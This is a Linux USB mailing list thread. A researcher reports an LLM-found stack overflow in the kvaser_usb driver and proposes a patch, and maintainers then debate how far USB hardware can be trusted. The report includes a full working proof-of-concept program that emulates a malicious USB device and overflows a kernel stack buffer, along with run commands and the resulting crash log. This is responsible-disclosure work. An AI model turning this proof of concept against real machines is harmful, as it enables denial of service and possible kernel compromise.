* Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
@ 2026-02-18 2:13 Nicholas Carlini
2026-02-18 5:12 ` Greg KH
0 siblings, 1 reply; 8+ messages in thread
From: Nicholas Carlini @ 2026-02-18 2:13 UTC (permalink / raw)
To: linux-usb
Hi --
I am a security researcher at Anthropic. I've been looking for bugs in
open source code with LLMs. I've found a stack buffer overflow in the
kernel that allows a malicious USB to fault the kernel immediately on
connection.
While an LLM found this vulnerability, I personally have validated it
on both qemu with kasan enabled, and on a separate physical Ubuntu
machine installed with default settings. I also wrote the patch
myself. This bug has been present since v3.8-rc1.
The specific bug occurs in
drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c:
static int kvaser_usb_leaf_wait_cmd(const struct kvaser_usb *dev, u8 id,
struct kvaser_cmd *cmd) // <-- cmd points to
~32-byte struct from the caller
{
struct kvaser_cmd *tmp;
void *buf;
[...]
buf = kzalloc(KVASER_USB_RX_BUFFER_SIZE, GFP_KERNEL); //
3072-byte heap buffer
[...]
do {
err = kvaser_usb_recv_cmd(dev, buf, KVASER_USB_RX_BUFFER_SIZE,
&actual_len); // reads bulk USB
data from device
[...]
pos = 0;
while (pos <= actual_len - CMD_HEADER_LEN) {
tmp = buf + pos; // tmp->len is
byte[0] of USB data
// fully attacker-controlled
[...]
if (pos + tmp->len > actual_len) { // Only checks len
fits in the 3072-byte
[...] // receive buffer,
not the destination
break;
}
if (tmp->id == id) {
memcpy(cmd, tmp, tmp->len); // BUG: copies
tmp->len bytes (up to 255)
goto end; // into cmd
(only ~32 bytes on stack)
}
[...]
}
} while (time_before(jiffies, to));
[...]
end:
kfree(buf);
if (err == 0)
err = kvaser_usb_leaf_verify_size(dev, cmd); // validates
minimum size only
// called
after the overflow already happened
return err;
}
This code will copy (without bounds check) arbitrary data from the USB
device into a fixed-size stack allocated struct from the caller:
static int kvaser_usb_leaf_get_software_info_inner(struct kvaser_usb *dev)
{
struct kvaser_cmd cmd; // <-- ~32 byte struct on the stack
int err;
[...]
err = kvaser_usb_leaf_send_simple_cmd(dev, CMD_GET_SOFTWARE_INFO, 0);
if (err) // sends 4-byte command to
device on bulk OUT
return err;
// BUG: passes stack &cmd to wait_cmd
err = kvaser_usb_leaf_wait_cmd(dev, CMD_GET_SOFTWARE_INFO_REPLY, &cmd);
if (err)
return err;
[...]
}
You can reproduce this with the provided C program below.
# compile
gcc -o repo repo.c -Wall -Wextra -Wno-sign-compare -lusbredirparser
# run
./repo > "$SERVER_LOG" 2>&1 &
qemu-system-x86_64 \
$KVM_FLAG \
-m 2G -smp 2 -nographic \
-kernel "$DIR/bzImage" \
-drive "file=$DIR/rootfs.qcow2,format=qcow2,snapshot=on" \
-append "root=/dev/sda rw console=ttyS0 earlyprintk=serial nokaslr" \
-usb -device usb-ehci,id=ehci \
-chardev socket,id=usbredir0,host=127.0.0.1,port=$PORT \
-device usb-redir,chardev=usbredir0,bus=ehci.0 \
-no-reboot \
> "$QEMU_LOG" 2>&1 &
/*
* repo.c - Minimal usbredir server using libusbredirparser.
* Emulates a malicious Kvaser Leaf USB device that triggers
* a stack buffer overflow in kvaser_usb_leaf_wait_cmd().
*
* Build: gcc -o repo repo.c -lusbredirparser
* Run: ./repo (listens on TCP :4000)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <usbredirparser.h>
static int sock;
static struct usbredirparser *parser;
static int payload_sent = 0;
#define CMD_GET_SOFTWARE_INFO_REPLY 39
/* --- I/O callbacks --- */
static int cb_read(void *priv, uint8_t *data, int count) {
(void)priv;
int n = read(sock, data, count);
return n <= 0 ? -1 : n;
}
static int cb_write(void *priv, uint8_t *data, int count) {
(void)priv;
const uint8_t *p = data;
int left = count;
while (left > 0) {
int n = write(sock, p, left);
if (n <= 0) return -1;
p += n; left -= n;
}
return count;
}
static void cb_log(void *priv, int level, const char *msg) {
(void)priv; (void)level;
fprintf(stderr, " [lib] %s\n", msg);
}
static void do_flush(void) {
while (usbredirparser_has_data_to_write(parser))
usbredirparser_do_write(parser);
}
/* --- USB descriptors (Kvaser Leaf Lite) --- */
static const uint8_t dev_desc[] = {
18, 0x01, 0x00, 0x02, 0xff, 0, 0, 64,
0xfd, 0x0b, 0x0b, 0x00, /* VID=0x0bfd PID=0x000b */
0x00, 0x01, 0, 0, 0, 1,
};
static const uint8_t cfg_desc[] = {
9, 0x02, 32, 0, 1, 1, 0, 0x80, 50,
9, 0x04, 0, 0, 2, 0xff, 0, 0, 0,
7, 0x05, 0x81, 0x02, 0x00, 0x02, 0,
7, 0x05, 0x02, 0x02, 0x00, 0x02, 0,
};
/* --- Protocol callbacks --- */
static void on_hello(void *priv, struct usb_redir_hello_header *h) {
(void)priv;
fprintf(stderr, "[*] Peer: %s\n", h->version);
struct usb_redir_ep_info_header ep;
memset(&ep, 0, sizeof(ep));
memset(ep.type, usb_redir_type_invalid, 32);
ep.type[17] = usb_redir_type_bulk;
ep.type[2] = usb_redir_type_bulk;
ep.max_packet_size[17] = 512;
ep.max_packet_size[2] = 512;
usbredirparser_send_ep_info(parser, &ep);
struct usb_redir_interface_info_header ii;
memset(&ii, 0, sizeof(ii));
ii.interface_count = 1;
ii.interface_class[0] = 0xff;
usbredirparser_send_interface_info(parser, &ii);
struct usb_redir_device_connect_header dc;
memset(&dc, 0, sizeof(dc));
dc.speed = usb_redir_speed_high;
dc.device_class = 0xff;
dc.vendor_id = 0x0bfd;
dc.product_id = 0x000b;
dc.device_version_bcd = 0x0100;
usbredirparser_send_device_connect(parser, &dc);
fprintf(stderr, "[*] Sent device info (Kvaser Leaf VID=0bfd PID=000b)\n");
do_flush();
}
static void on_reset(void *priv) { (void)priv; fprintf(stderr, "[*] RESET\n"); }
static void on_set_config(void *priv, uint64_t id,
struct usb_redir_set_configuration_header *c) {
(void)priv;
fprintf(stderr, "[*] SET_CONFIG %d\n", c->configuration);
struct usb_redir_configuration_status_header s = {
usb_redir_success, c->configuration };
usbredirparser_send_configuration_status(parser, id, &s);
do_flush();
}
static void on_get_config(void *priv, uint64_t id) {
(void)priv;
struct usb_redir_configuration_status_header s = { usb_redir_success, 1 };
usbredirparser_send_configuration_status(parser, id, &s);
do_flush();
}
static void on_set_alt(void *priv, uint64_t id,
struct usb_redir_set_alt_setting_header *a) {
(void)priv;
struct usb_redir_alt_setting_status_header s = {
usb_redir_success, a->interface, a->alt };
usbredirparser_send_alt_setting_status(parser, id, &s);
do_flush();
}
static void on_get_alt(void *priv, uint64_t id,
struct usb_redir_get_alt_setting_header *a) {
(void)priv;
struct usb_redir_alt_setting_status_header s = {
usb_redir_success, a->interface, 0 };
usbredirparser_send_alt_setting_status(parser, id, &s);
do_flush();
}
static void on_control(void *priv, uint64_t id,
struct usb_redir_control_packet_header *cp, uint8_t *data, int
data_len) {
(void)priv; (void)data_len;
if (data) usbredirparser_free_packet_data(parser, data);
fprintf(stderr, "[*] CTRL rt=%02x rq=%02x val=%04x len=%u\n",
cp->requesttype, cp->request, cp->value, cp->length);
if (cp->requesttype == 0x80 && cp->request == 0x06) {
uint8_t dt = cp->value >> 8;
const uint8_t *d = NULL; int dl = 0;
if (dt == 1) { d = dev_desc; dl = sizeof(dev_desc); }
else if (dt == 2) { d = cfg_desc; dl = sizeof(cfg_desc); }
if (d) {
int sl = dl < cp->length ? dl : cp->length;
cp->status = usb_redir_success;
cp->length = sl;
uint8_t *buf = malloc(sl); memcpy(buf, d, sl);
usbredirparser_send_control_packet(parser, id, cp, buf, sl);
do_flush();
return;
}
}
if (cp->requesttype == 0x00 && cp->request == 0x09) {
cp->status = usb_redir_success; cp->length = 0;
usbredirparser_send_control_packet(parser, id, cp, NULL, 0);
do_flush();
return;
}
cp->status = usb_redir_stall; cp->length = 0;
usbredirparser_send_control_packet(parser, id, cp, NULL, 0);
do_flush();
}
static void on_bulk(void *priv, uint64_t id,
struct usb_redir_bulk_packet_header *bp, uint8_t *data, int data_len) {
(void)priv;
fprintf(stderr, "[*] BULK ep=%02x len=%u data=%d\n", bp->endpoint,
bp->length, data_len);
if (data && data_len >= 2)
fprintf(stderr, " cmd: len=%d id=%d\n", data[0], data[1]);
if (data) usbredirparser_free_packet_data(parser, data);
if (bp->endpoint & 0x80) {
if (!payload_sent) {
/* THE EXPLOIT: 200-byte response into ~32-byte stack buffer */
uint8_t *p = malloc(200);
memset(p, 'A', 200);
p[0] = 200; /* cmd.len = 200 (OVERFLOW) */
p[1] = CMD_GET_SOFTWARE_INFO_REPLY; /* cmd.id = 39 */
bp->status = usb_redir_success;
bp->length = 200; bp->length_high = 0;
fprintf(stderr, "\n*** OVERFLOW PAYLOAD: 200 bytes ->
32-byte stack buffer ***\n\n");
usbredirparser_send_bulk_packet(parser, id, bp, p, 200);
payload_sent = 1;
} else {
bp->status = usb_redir_success; bp->length = 0; bp->length_high = 0;
usbredirparser_send_bulk_packet(parser, id, bp, NULL, 0);
}
} else {
bp->status = usb_redir_success; bp->length = 0; bp->length_high = 0;
usbredirparser_send_bulk_packet(parser, id, bp, NULL, 0);
}
do_flush();
}
int main(void) {
setvbuf(stderr, NULL, _IONBF, 0);
int srv = socket(AF_INET, SOCK_STREAM, 0);
int one = 1; setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa = {.sin_family=AF_INET,
.sin_port=htons(4000), .sin_addr.s_addr=INADDR_ANY};
if (bind(srv,(void*)&sa,sizeof(sa))<0) { perror("bind"); return 1; }
listen(srv, 1);
fprintf(stderr, "LISTEN :4000\n");
sock = accept(srv, NULL, NULL);
if (sock < 0) { perror("accept"); return 1; }
fprintf(stderr, "CONNECTED\n");
parser = usbredirparser_create();
parser->log_func = cb_log;
parser->read_func = cb_read;
parser->write_func = cb_write;
parser->hello_func = on_hello;
parser->reset_func = on_reset;
parser->set_configuration_func = on_set_config;
parser->get_configuration_func = on_get_config;
parser->set_alt_setting_func = on_set_alt;
parser->get_alt_setting_func = on_get_alt;
parser->control_packet_func = on_control;
parser->bulk_packet_func = on_bulk;
uint32_t caps[USB_REDIR_CAPS_SIZE] = {0};
usbredirparser_caps_set_cap(caps, usb_redir_cap_connect_device_version);
usbredirparser_caps_set_cap(caps, usb_redir_cap_ep_info_max_packet_size);
usbredirparser_caps_set_cap(caps, usb_redir_cap_64bits_ids);
usbredirparser_caps_set_cap(caps, usb_redir_cap_32bits_bulk_length);
usbredirparser_init(parser, "minimal-kvaser", caps, USB_REDIR_CAPS_SIZE,
usbredirparser_fl_usb_host);
do_flush();
fprintf(stderr, "READY\n");
while (usbredirparser_do_read(parser) == 0) {}
fprintf(stderr, "DONE\n");
usbredirparser_destroy(parser);
close(sock); close(srv);
return 0;
}
After running this, you should see a log file that looks like this:
LISTEN :4000
CONNECTED
READY
[lib] usbredirparser: Peer version: qemu usb-redir guest 7.2.22,
using 64-bits ids
[*] Peer: qemu usb-redir guest 7.2.22
[*] Sent device info (Kvaser Leaf VID=0bfd PID=000b)
[*] RESET
[*] RESET
[*] CTRL rt=80 rq=06 val=0100 len=8
[*] CTRL rt=80 rq=06 val=0200 len=9
[*] CTRL rt=80 rq=06 val=0200 len=32
[*] RESET
[*] RESET
[*] CTRL rt=80 rq=06 val=0100 len=64
[*] RESET
[*] CTRL rt=80 rq=06 val=0100 len=18
[*] CTRL rt=80 rq=06 val=0200 len=9
[*] CTRL rt=80 rq=06 val=0200 len=32
[*] SET_CONFIG 1
[*] BULK ep=02 len=4 data=4
cmd: len=4 id=38
[*] BULK ep=81 len=3072 data=0
*** OVERFLOW PAYLOAD: 200 bytes -> 32-byte stack buffer ***
And the KASAN error will show
[ 12.777706] ==================================================================
[ 12.780445] BUG: KASAN: stack-out-of-bounds in
kvaser_usb_leaf_wait_cmd+0x367/0x4e0
[ 12.783321] Write of size 200 at addr ffff888008346ff8 by task kworker/0:1/10
[ 12.786028]
[ 12.786693] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted
6.19.0-rc8 #1 PREEMPT(voluntary)
[ 12.786698] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[ 12.786700] Workqueue: usb_hub_wq hub_event
[ 12.786706] Call Trace:
[ 12.786708] <TASK>
[ 12.786710] dump_stack_lvl+0x66/0xa0
[ 12.786716] print_report+0xd0/0x660
[ 12.786721] ? kvaser_usb_leaf_wait_cmd+0x367/0x4e0
[ 12.786723] ? __virt_addr_valid+0x208/0x3f0
[ 12.786727] ? kvaser_usb_leaf_wait_cmd+0x367/0x4e0
[ 12.786730] kasan_report+0xe4/0x120
[ 12.786733] ? kvaser_usb_leaf_wait_cmd+0x367/0x4e0
[ 12.786737] kasan_check_range+0x105/0x1b0
[ 12.786740] __asan_memcpy+0x3c/0x60
[ 12.786744] kvaser_usb_leaf_wait_cmd+0x367/0x4e0
[ 12.786747] ? lockdep_hardirqs_on_prepare+0xda/0x190
[ 12.786753] ? __pfx_kvaser_usb_leaf_wait_cmd+0x10/0x10
[ 12.786756] ? kfree+0x174/0x510
[ 12.786760] ? usb_alloc_urb+0x5d/0x140
[ 12.786764] ? kvaser_usb_leaf_get_software_info+0x178/0x770
[ 12.786766] ? usb_bulk_msg+0x88/0x5b0
[ 12.786771] kvaser_usb_leaf_get_software_info+0x192/0x770
[ 12.786774] ? __pfx_kvaser_usb_leaf_get_software_info+0x10/0x10
[ 12.786777] ? lockdep_init_map_type+0x5c/0x230
[ 12.786781] kvaser_usb_probe+0x30a/0x1370
[ 12.786785] ? _raw_spin_unlock_irqrestore+0x3f/0x50
[ 12.786789] ? lockdep_hardirqs_on_prepare+0xda/0x190
[ 12.786793] ? _raw_spin_unlock_irqrestore+0x3f/0x50
[ 12.786796] ? __pm_runtime_set_status+0x331/0x850
[ 12.786802] usb_probe_interface+0x279/0x980
[ 12.786806] really_probe+0x1c8/0x960
[ 12.786811] __driver_probe_device+0x187/0x3e0
[ 12.786814] driver_probe_device+0x45/0x120
[ 12.786818] __device_attach_driver+0x15d/0x280
[ 12.786821] ? __pfx___device_attach_driver+0x10/0x10
[ 12.786824] bus_for_each_drv+0x112/0x1a0
[ 12.786827] ? __pfx_bus_for_each_drv+0x10/0x10
[ 12.786830] ? _raw_spin_unlock_irqrestore+0x3f/0x50
[ 12.786834] __device_attach+0x193/0x3b0
[ 12.786837] ? __pfx___device_attach+0x10/0x10
[ 12.786840] ? do_raw_spin_unlock+0x53/0x220
[ 12.786848] device_initial_probe+0x78/0xa0
[ 12.786851] bus_probe_device+0x5d/0x140
[ 12.786854] device_add+0xde4/0x14b0
[ 12.786859] ? __pfx_device_add+0x10/0x10
[ 12.786862] ? mark_held_locks+0x40/0x70
[ 12.786865] ? _raw_spin_unlock_irqrestore+0x3f/0x50
[ 12.786870] usb_set_configuration+0xd65/0x19c0
[ 12.786876] usb_generic_driver_probe+0x78/0xb0
[ 12.786880] usb_probe_device+0xaf/0x310
[ 12.786883] really_probe+0x1c8/0x960
[ 12.786887] __driver_probe_device+0x187/0x3e0
[ 12.786890] driver_probe_device+0x45/0x120
[ 12.786894] __device_attach_driver+0x15d/0x280
[ 12.786897] ? __pfx___device_attach_driver+0x10/0x10
[ 12.786900] bus_for_each_drv+0x112/0x1a0
[ 12.786903] ? __pfx_bus_for_each_drv+0x10/0x10
[ 12.786906] ? _raw_spin_unlock_irqrestore+0x3f/0x50
[ 12.786910] __device_attach+0x193/0x3b0
[ 12.786913] ? __pfx___device_attach+0x10/0x10
[ 12.786916] ? do_raw_spin_unlock+0x53/0x220
[ 12.786920] device_initial_probe+0x78/0xa0
[ 12.786923] bus_probe_device+0x5d/0x140
[ 12.786926] device_add+0xde4/0x14b0
[ 12.786930] ? __pfx_device_add+0x10/0x10
[ 12.786933] ? usb_detect_static_quirks+0xc1/0x2f0
[ 12.786937] ? _raw_spin_unlock_irq+0x23/0x40
[ 12.786941] usb_new_device+0x7bd/0x1140
[ 12.786945] hub_event+0x24e5/0x45b0
[ 12.786951] ? __pfx_hub_event+0x10/0x10
[ 12.786955] ? lock_acquire+0x14d/0x2c0
[ 12.786957] ? process_one_work+0x7a8/0x19f0
[ 12.786961] ? lock_release+0xc5/0x260
[ 12.786966] process_one_work+0x826/0x19f0
[ 12.786970] ? __pfx_process_one_work+0x10/0x10
[ 12.786974] ? assign_work+0x167/0x240
[ 12.786977] worker_thread+0x4d9/0xe50
[ 12.786981] ? __pfx_worker_thread+0x10/0x10
[ 12.786984] ? __pfx_worker_thread+0x10/0x10
[ 12.786986] kthread+0x313/0x660
[ 12.786990] ? __pfx_kthread+0x10/0x10
[ 12.786992] ? ret_from_fork+0x6d/0x5d0
[ 12.786995] ? lock_release+0xc5/0x260
[ 12.786998] ? __pfx_kthread+0x10/0x10
[ 12.787001] ret_from_fork+0x4c8/0x5d0
[ 12.787003] ? __pfx_ret_from_fork+0x10/0x10
[ 12.787006] ? __switch_to+0x44/0xe50
[ 12.787009] ? __switch_to_asm+0x39/0x70
[ 12.787013] ? __switch_to_asm+0x33/0x70
[ 12.787015] ? __pfx_kthread+0x10/0x10
[ 12.787018] ret_from_fork_asm+0x1a/0x30
[ 12.787023] </TASK>
[ 12.787024]
[ 12.937230] The buggy address belongs to stack of task kworker/0:1/10
[ 12.939617] and is located at offset 32 in frame:
[ 12.941431] kvaser_usb_leaf_get_software_info+0x0/0x770
[ 12.943405]
[ 12.944069] This frame has 1 object:
[ 12.945451] [32, 64) 'cmd'
[ 12.945453]
[ 12.947219] The buggy address belongs to the physical page:
[ 12.949279] page: refcount:0 mapcount:0 mapping:0000000000000000
index:0x0 pfn:0x8346
[ 12.952160] flags: 0x100000000000000(node=0|zone=1)
[ 12.954006] raw: 0100000000000000 ffffea000020d188 ffffea000020d188
0000000000000000
[ 12.956828] raw: 0000000000000000 0000000000000000 00000000ffffffff
0000000000000000
[ 12.959668] page dumped because: kasan: bad access detected
[ 12.961751]
[ 12.962418] Memory state around the buggy address:
[ 12.964218] ffff888008346f00: 00 00 f1 f1 f1 f1 f1 f1 04 f2 00 f3
f3 f3 00 00
[ 12.966877] ffff888008346f80: 00 00 00 00 00 00 00 00 00 00 00 f1
f1 f1 f1 00
[ 12.969548] >ffff888008347000: 00 00 00 f3 f3 f3 f3 00 00 00 00 00
00 00 00 00
[ 12.972204] ^
[ 12.973743] ffff888008347080: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00
[ 12.976391] ffff888008347100: 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00
[ 12.979047] ==================================================================
My best guess at a fix would be to check the bounds of the output
buffer as well. Below I've written an attempt at a patch. (I know that
it will fail to merge because gmail will break patches, sorry about
that, I'm working on getting myself permissions to download an email
client onto my work laptop that will let me send well-formatted
patches to you all asap.)
Author: Nicholas Carlini <nicholas@carlini.com>
Date: Mon Feb 16 18:12:33 2026 +0000
can: kvaser_usb: fix stack buffer overflow in kvaser_usb_leaf_wait_cmd()
kvaser_usb_leaf_wait_cmd() copies a command response from a USB device into
a caller-provided struct kvaser_cmd on the stack. The length of the copy is
provided by the command byte on the USB data (tmp->len), which can be fully
controlled by a malicious USB device. The maximum size of tmp->len is 255,
but the destination buffer is only sizeof(struct kvaser_cmd) bytes (~32).
Add a bounds check to ensure that tmp->len does not exceed sizeof(*cmd)
before memcpy.
Fixes: 080f40a6fa28 ("can: kvaser_usb: Add support for Kvaser
CAN/USB devices")
Signed-off-by: Nicholas Carlini <nicholas@carlini.com>
diff --git a/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
b/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
index 1167d38344f1..465c3a6801e4 100644
--- a/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
+++ b/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
@@ -698,6 +698,13 @@ static int kvaser_usb_leaf_wait_cmd(const struct
kvaser_usb *dev, u8 id,
}
if (tmp->id == id) {
+ if (tmp->len > sizeof(*cmd)) {
+ dev_err_ratelimited(&dev->intf->dev,
+ "Command %u too long
(%u, max %zu)\n",
+ tmp->id, tmp->len,
sizeof(*cmd));
+ err = -EIO;
+ goto end;
+ }
memcpy(cmd, tmp, tmp->len);
goto end;
}
Thanks,
Nicholas
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-18 2:13 Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB Nicholas Carlini
@ 2026-02-18 5:12 ` Greg KH
2026-02-24 8:44 ` Oliver Neukum
0 siblings, 1 reply; 8+ messages in thread
From: Greg KH @ 2026-02-18 5:12 UTC (permalink / raw)
To: Nicholas Carlini; +Cc: linux-usb
On Tue, Feb 17, 2026 at 06:13:30PM -0800, Nicholas Carlini wrote:
> My best guess at a fix would be to check the bounds of the output
> buffer as well. Below I've written an attempt at a patch. (I know that
> it will fail to merge because gmail will break patches, sorry about
> that, I'm working on getting myself permissions to download an email
> client onto my work laptop that will let me send well-formatted
> patches to you all asap.)
>
> Author: Nicholas Carlini <nicholas@carlini.com>
> Date: Mon Feb 16 18:12:33 2026 +0000
>
> can: kvaser_usb: fix stack buffer overflow in kvaser_usb_leaf_wait_cmd()
>
> kvaser_usb_leaf_wait_cmd() copies a command response from a USB device into
> a caller-provided struct kvaser_cmd on the stack. The length of the copy is
> provided by the command byte on the USB data (tmp->len), which can be fully
> controlled by a malicious USB device. The maximum size of tmp->len is 255,
> but the destination buffer is only sizeof(struct kvaser_cmd) bytes (~32).
>
> Add a bounds check to ensure that tmp->len does not exceed sizeof(*cmd)
> before memcpy.
>
> Fixes: 080f40a6fa28 ("can: kvaser_usb: Add support for Kvaser
> CAN/USB devices")
> Signed-off-by: Nicholas Carlini <nicholas@carlini.com>
>
> diff --git a/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
> b/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
> index 1167d38344f1..465c3a6801e4 100644
> --- a/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
> +++ b/drivers/net/can/usb/kvaser_usb/kvaser_usb_leaf.c
> @@ -698,6 +698,13 @@ static int kvaser_usb_leaf_wait_cmd(const struct
> kvaser_usb *dev, u8 id,
> }
>
> if (tmp->id == id) {
> + if (tmp->len > sizeof(*cmd)) {
> + dev_err_ratelimited(&dev->intf->dev,
> + "Command %u too long
> (%u, max %zu)\n",
> + tmp->id, tmp->len,
> sizeof(*cmd));
> + err = -EIO;
> + goto end;
> + }
> memcpy(cmd, tmp, tmp->len);
> goto end;
> }
>
Can you just resend this patch, in proper format so that we can actually
apply it? It is totally corrupted and will not work.
Also, you need to use your corporate email address, as the signed-off-by
line does not match up with your From: line on your email :)
But, I don't think the patch should be spamming the kernel log for a
broken device like this. Just error out and all will be fine.
And is this the only place in this driver where it treats data in an
untrusted way? As you know, once a driver is bound to a device, we
trust the hardware to work properly, so this really is just a "let's be
careful" type of fix, not any real bug to be handled as a real device
will not trigger this.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-18 5:12 ` Greg KH
@ 2026-02-24 8:44 ` Oliver Neukum
2026-02-24 15:52 ` Alan Stern
0 siblings, 1 reply; 8+ messages in thread
From: Oliver Neukum @ 2026-02-24 8:44 UTC (permalink / raw)
To: Greg KH, Nicholas Carlini; +Cc: linux-usb
On 18.02.26 06:12, Greg KH wrote:
> And is this the only place in this driver where it treats data in an
> untrusted way? As you know, once a driver is bound to a device, we
> trust the hardware to work properly, so this really is just a "let's be
> careful" type of fix, not any real bug to be handled as a real device
> will not trigger this.
Do we know this? I am afraid we need to make up our minds.
We are including patches that verify endpoints are present,
are of the correct type and so on.
What is the logic behind that? If we can trust that a device
is what it claims to be and operates like it is supposed to
be, why do we verify?
Regards
Oliver
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-24 8:44 ` Oliver Neukum
@ 2026-02-24 15:52 ` Alan Stern
2026-02-24 16:04 ` Oliver Neukum
0 siblings, 1 reply; 8+ messages in thread
From: Alan Stern @ 2026-02-24 15:52 UTC (permalink / raw)
To: Oliver Neukum; +Cc: Greg KH, Nicholas Carlini, linux-usb
On Tue, Feb 24, 2026 at 09:44:35AM +0100, Oliver Neukum wrote:
>
>
> On 18.02.26 06:12, Greg KH wrote:
>
> > And is this the only place in this driver where it treats data in an
> > untrusted way? As you know, once a driver is bound to a device, we
> > trust the hardware to work properly, so this really is just a "let's be
> > careful" type of fix, not any real bug to be handled as a real device
> > will not trigger this.
>
> Do we know this? I am afraid we need to make up our minds.
> We are including patches that verify endpoints are present,
> are of the correct type and so on.
>
> What is the logic behind that? If we can trust that a device
> is what it claims to be and operates like it is supposed to
> be, why do we verify?
Greg said that we trust the hardware once a driver is bound to the
device. However, the endpoint-verification tests occur before the
binding is complete. At this point we do not yet fully trust the
hardware.
While it's always possible that some real device somewhere will fail
these tests, a much more likely reason for a failure is because the
driver is being fuzzed. We do know that these fuzzing tests occur in
real life and that they will crash the kernel being tested if the tests
aren't present.
Alan Stern
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-24 15:52 ` Alan Stern
@ 2026-02-24 16:04 ` Oliver Neukum
2026-02-24 18:43 ` Alan Stern
0 siblings, 1 reply; 8+ messages in thread
From: Oliver Neukum @ 2026-02-24 16:04 UTC (permalink / raw)
To: Alan Stern, Oliver Neukum; +Cc: Greg KH, Nicholas Carlini, linux-usb
On 24.02.26 16:52, Alan Stern wrote:
> On Tue, Feb 24, 2026 at 09:44:35AM +0100, Oliver Neukum wrote:
>> What is the logic behind that? If we can trust that a device
>> is what it claims to be and operates like it is supposed to
>> be, why do we verify?
>
> Greg said that we trust the hardware once a driver is bound to the
> device. However, the endpoint-verification tests occur before the
> binding is complete. At this point we do not yet fully trust the
> hardware.
Why? If we do not trust the hardware, we cannot depend on it
telling the truth about itself, can we?
> While it's always possible that some real device somewhere will fail
> these tests, a much more likely reason for a failure is because the
> driver is being fuzzed. We do know that these fuzzing tests occur in
> real life and that they will crash the kernel being tested if the tests
> aren't present.
Now, if we are looking at regular hardware, we need to ask ourselves:
Is it likelier that some devices are different from all others,
or may they have a race condition with a small window that leads
to faulty data packages rarely being generated?
Regards
Oliver
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-24 16:04 ` Oliver Neukum
@ 2026-02-24 18:43 ` Alan Stern
2026-02-27 4:29 ` Greg KH
0 siblings, 1 reply; 8+ messages in thread
From: Alan Stern @ 2026-02-24 18:43 UTC (permalink / raw)
To: Oliver Neukum; +Cc: Greg KH, Nicholas Carlini, linux-usb
On Tue, Feb 24, 2026 at 05:04:28PM +0100, Oliver Neukum wrote:
>
>
> On 24.02.26 16:52, Alan Stern wrote:
> > On Tue, Feb 24, 2026 at 09:44:35AM +0100, Oliver Neukum wrote:
>
> > > What is the logic behind that? If we can trust that a device
> > > is what it claims to be and operates like it is supposed to
> > > be, why do we verify?
> >
> > Greg said that we trust the hardware once a driver is bound to the
> > device. However, the endpoint-verification tests occur before the
> > binding is complete. At this point we do not yet fully trust the
> > hardware.
>
> Why? If we do not trust the hardware, we cannot depend on it
> telling the truth about itself, can we?
The purpose of the endpoint testing is to avoid warnings triggered by
driver submitting URBs to endpoints that are known not to exist. Such
submissions are generally considered to be signs of a bug in the driver,
not of a deception by the device.
Legitimate example: A new revision of a device uses different endpoint
numbers from the original version, but the driver isn't aware of this
and doesn't check. The problem would then lie in the driver, not in the
revised device firmware.
Even if a device lies about itself, the tests will prevent these
warnings from triggering. (The endpoint in question might not in fact
exist on the device, but as long as the device's descriptors claim that
the endpoint does exist, usbcore won't know any better and so won't
issue a warning.)
Of course we can't detect all cases in which a device lies about itself.
The hope is that drivers will be robust enough to handle devices that do
not behave as expected...
> > While it's always possible that some real device somewhere will fail
> > these tests, a much more likely reason for a failure is because the
> > driver is being fuzzed. We do know that these fuzzing tests occur in
> > real life and that they will crash the kernel being tested if the tests
> > aren't present.
>
> Now, if we are looking at regular hardware, we need to ask ourselves:
> Is it likelier that some devices are different from all others,
> or may they have a race condition with a small window that leads
> to faulty data packages rarely being generated?
... such as by occasionally generating faulty data packets. Drivers
should be able to handle such things gracefully, without crashing the
kernel.
Alan Stern
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: Stack buffer overflow (write) in kvaser_usb_leaf_wait_cmd via malicious USB
2026-02-24 18:43 ` Alan Stern
@ 2026-02-27 4:29 ` Greg KH
2026-02-28 2:22 ` Alan Stern
0 siblings, 1 reply; 8+ messages in thread
From: Greg KH @ 2026-02-27 4:29 UTC (permalink / raw)
To: Alan Stern; +Cc: Oliver Neukum, Nicholas Carlini, linux-usb
On Tue, Feb 24, 2026 at 01:43:24PM -0500, Alan Stern wrote:
> On Tue, Feb 24, 2026 at 05:04:28PM +0100, Oliver Neukum wrote:
> >
> >
> > On 24.02.26 16:52, Alan Stern wrote:
> > > On Tue, Feb 24, 2026 at 09:44:35AM +0100, Oliver Neukum wrote:
> >
> > > > What is the logic behind that? If we can trust that a device
> > > > is what it claims to be and operates like it is supposed to
> > > > be, why do we verify?
> > >
> > > Greg said that we trust the hardware once a driver is bound to the
> > > device. However, the endpoint-verification tests occur before the
> > > binding is complete. At this point we do not yet fully trust the
> > > hardware.
> >
